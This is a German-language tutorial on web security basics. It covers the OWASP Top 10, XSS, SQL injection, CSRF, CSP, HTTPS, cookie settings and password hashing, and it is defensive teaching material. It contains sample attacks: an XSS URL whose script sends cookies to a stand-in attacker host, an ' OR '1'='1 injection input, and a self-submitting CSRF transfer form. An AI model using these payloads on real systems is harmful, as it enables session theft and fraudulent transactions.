Web-Sicherheit Grundlagen: XSS, CSRF, SQL-Injection & effektive Schutzstrategien

Jede Webanwendung ist ein potenzielles Ziel. Ob es sich um ein privates Hobby-Projekt oder eine komplexe Enterprise-Plattform handelt: Sobald Ihr Code im Internet erreichbar ist, wird er zum Ziel automatisierter Scanner, opportunistischer Bots und zielgerichteter Angriffe. Die gute Nachricht ist, dass die meisten Schwachstellen in bekannte Kategorien fallen – und fast alle sind vermeidbar. Dieser Leitfaden beleuchtet die kritischsten Angriffsvektoren, die jeder Webentwickler kennen muss, und zeigt Ihnen konkrete Abwehrmechanismen für die Praxis.

OWASP Top 10: Der Sicherheits-Kompass

Das Open Worldwide Application Security Project (OWASP) veröffentlicht regelmäßig eine Liste der zehn kritischsten Sicherheitsrisiken für Webanwendungen. Die aktuelle Version umfasst unter anderem folgende Gefahren:

1. Broken Access Control — Benutzer greifen auf Daten oder Funktionen zu, für die sie keine Berechtigung haben.
2. Kryptografische Fehler — Schwache Verschlüsselungen oder geleakte Zugangsdaten.
3. Injection — SQL-Injection, Command-Injection oder LDAP-Injection.
4. Unsicheres Design — Architektonische Schwachstellen, die durch Code-Patches allein nicht behoben werden können.
5. Sicherheits-Fehlkonfigurationen — Standard-Passwörter oder unnötig aktivierte Features.
6. Vulnerable & Veraltete Komponenten — Unsichere Bibliotheken und Frameworks.
7. Identifikations- & Authentifizierungsfehler — Schwache Passwörter, fehlende Multi-Faktor-Authentifizierung (MFA).
8. Software- & Datenintegritätsfehler — Kompromittierte CI/CD-Pipelines oder unsichere Deserialisierung.
9. Mangelndes Logging & Monitoring — Sicherheitsvorfälle bleiben unentdeckt.
10. Server-Side Request Forgery (SSRF) — Der Server wird dazu verleitet, unautorisierte Anfragen auszuführen.

Lassen Sie uns tiefer in die Schwachstellen eintauchen, denen Entwickler im Alltag am häufigsten begegnen.

Cross-Site Scripting (XSS)

XSS tritt auf, wenn ein Angreifer schädliche Skripte in Webseiten einschleust, die dann von anderen Benutzern ausgeführt werden. Es bleibt eine der am weitesten verbreiteten Gefahren. Wir unterscheiden drei Hauptarten:

Reflected XSS

Der Schadcode stammt direkt aus der HTTP-Anfrage. Ein typisches Beispiel ist eine Suchmaske, die den Query-Parameter ohne Filterung direkt in den HTML-Quellcode ausgibt:

<!-- ❌ GEFÄHRLICH -->
<p>Suchergebnisse für: <?= $_GET['q'] ?></p>

<!-- Angreifer-URL: -->
<!-- /search?q=<script>fetch('https://angreifer.de/log?c='+document.cookie)</script> -->

Stored XSS

Das Skript wird dauerhaft auf dem Server gespeichert (z. B. in einer Datenbank) und bei jedem Seitenaufruf an die Benutzer ausgeliefert. Kommentarsektionen und Benutzerprofile sind klassische Ziele.

DOM-Based XSS

Hier findet der Angriff komplett clientseitig statt. JavaScript verarbeitet Daten aus einer unsicheren Quelle (wie location.hash) und schreibt diese ohne Validierung in das DOM.

XSS verhindern

• Output Escaping — Kodieren Sie Benutzereingaben immer, bevor sie in HTML ausgegeben werden. Nutzen Sie in PHP htmlspecialchars() oder die Auto-Escaping-Funktionen moderner Frameworks (React, Vue, Twig).
• Content Security Policy (CSP) implementieren.
• innerHTML vermeiden — Nutzen Sie stattdessen textContent oder sichere Methoden Ihres Frameworks.
• HTML bereinigen — Wenn Sie HTML-Eingaben erlauben müssen, nutzen Sie eine erprobte Bibliothek wie DOMPurify.
• URL-Encoding für dynamische Parameter bei Link-Generierung.

<!-- ✅ SICHER -->
<p>Suchergebnisse für: <?= htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8') ?></p>

SQL-Injection

SQL-Injection entsteht, wenn Benutzereingaben ohne Maskierung in SQL-Abfragen eingebettet werden. Dies erlaubt Angreifern, die Logik Ihres Datenbank-Befehls zu manipulieren:

# ❌ GEFÄHRLICH — Direkte String-Konkatenation
query = "SELECT * FROM users WHERE username = '" + username + "'"

# Eingabe des Angreifers: ' OR '1'='1
# Resultierende Abfrage:
# SELECT * FROM users WHERE username = '' OR '1'='1'
# → Ergebnis: Alle Benutzer werden ausgelesen

SQL-Injection verhindern

1. Prepared Statements — Dies ist die effektivste Verteidigung. Nutzen Sie immer parametrisierte Abfragen.
2. ORM verwenden — Frameworks wie Eloquent (Laravel) oder Prisma automatisieren das Parametrisieren.
3. Eingabetypen validieren — Wenn Sie eine ID erwarten, erzwingen Sie einen Integer-Typ.
4. Least Privilege — Der Datenbank-Benutzer Ihrer Webanwendung sollte nur die minimal notwendigen Rechte besitzen.

// ✅ SICHER — Parametrisierte Abfrage
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $input]);
$user = $stmt->fetch();

// ✅ SICHER
const result = await pool.query(
  'SELECT * FROM users WHERE username = $1',
  [username]
);

Cross-Site Request Forgery (CSRF)

Bei einem CSRF-Angriff wird der Browser eines authentifizierten Benutzers dazu missbraucht, eine ungewollte Aktion auf einer Webseite auszuführen, bei der er eingeloggt ist. Ein Angreifer könnte ein verstecktes Formular auf seiner Seite einbetten, das beim Laden eine Überweisung an Ihrer Bank-Webseite auslöst:

<!-- Auf der Seite des Angreifers -->
<form action="https://bank.de/transfer" method="POST">
  <input type="hidden" name="empfaenger" value="angreifer_konto">
  <input type="hidden" name="betrag" value="5000">
</form>
<script>document.forms[0].submit();</script>

CSRF verhindern

• Anti-CSRF-Token — Nutzen Sie pro Sitzung oder Anfrage eindeutige Tokens, die serverseitig validiert werden.
• SameSite-Attribut — Setzen Sie bei Session-Cookies SameSite=Lax oder SameSite=Strict.
• Origin & Referer prüfen — Validieren Sie bei kritischen Aktionen die Header-Informationen.
• Re-Authentifizierung — Verlangen Sie bei sensiblen Aktionen (Passwortänderung, E-Mail-Update) erneut das Passwort.

Content Security Policy (CSP)

Die Content Security Policy ist ein HTTP-Header, der den Browser anweist, welche Quellen für Skripte, Styles und andere Ressourcen zulässig sind. Dies ist eine der stärksten Schutzschichten gegen XSS:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://trusted-cdn.com;
  style-src 'self' 'unsafe-inline';
  img-src 'self' data: https:;
  frame-ancestors 'none';

Mit dieser Policy werden Inline-Skripte blockiert, externe Skripte dürfen nur von definierten Domains geladen werden und Clickjacking wird durch das Verbot von Iframes unterbunden.

HTTPS & Transport-Sicherheit

HTTPS ist 2025 absoluter Standard. Es verschlüsselt den gesamten Datenverkehr und verhindert Man-in-the-Middle-Angriffe.

• Let's Encrypt — Kostenlose und automatisierte Zertifikate.
• HTTP zu HTTPS Redirect — Erzwingen Sie die Verschlüsselung auf Serverebene.
• HSTS (HTTP Strict Transport Security) — Weist Browser an, zukünftig ausschließlich HTTPS zu verwenden.

Sichere Cookie-Konfiguration

Cookies halten die Sitzung Ihres Benutzers offen. Fehlkonfigurationen können zur Session-Übernahme führen:

Set-Cookie: session_id=abc123;
  HttpOnly;      /* Zugriff über JS verhindern */
  Secure;        /* Nur über HTTPS senden */
  SameSite=Lax;  /* Gegen CSRF absichern */

Passwort-Hashing

Speichern Sie Passwörter niemals im Klartext oder mit unsicheren Algorithmen wie MD5/SHA1. Nutzen Sie langsame, gesalzene Algorithmen wie Argon2id oder bcrypt.

// ✅ Modernes Hashing mit bcrypt
$hash = password_hash($passwort, PASSWORD_BCRYPT, ['cost' => 12]);

// Überprüfung
if (password_verify($eingabePasswort, $gespeicherterHash)) {
    // Erfolgreich eingeloggt
}

Fazit

Web-Sicherheit ist kein nachträgliches Feature, sondern muss von Anfang an in jede Codezeile einfließen. Nutzen Sie Prepared Statements gegen SQL-Injection, maskieren Sie Ihre Outputs gegen XSS, setzen Sie CSRF-Token ein und erzwingen Sie HTTPS. Durch proaktives Handeln und die Nutzung moderner Sicherheits-Header schützen Sie nicht nur Ihre Infrastruktur, sondern vor allem das Vertrauen Ihrer Nutzer.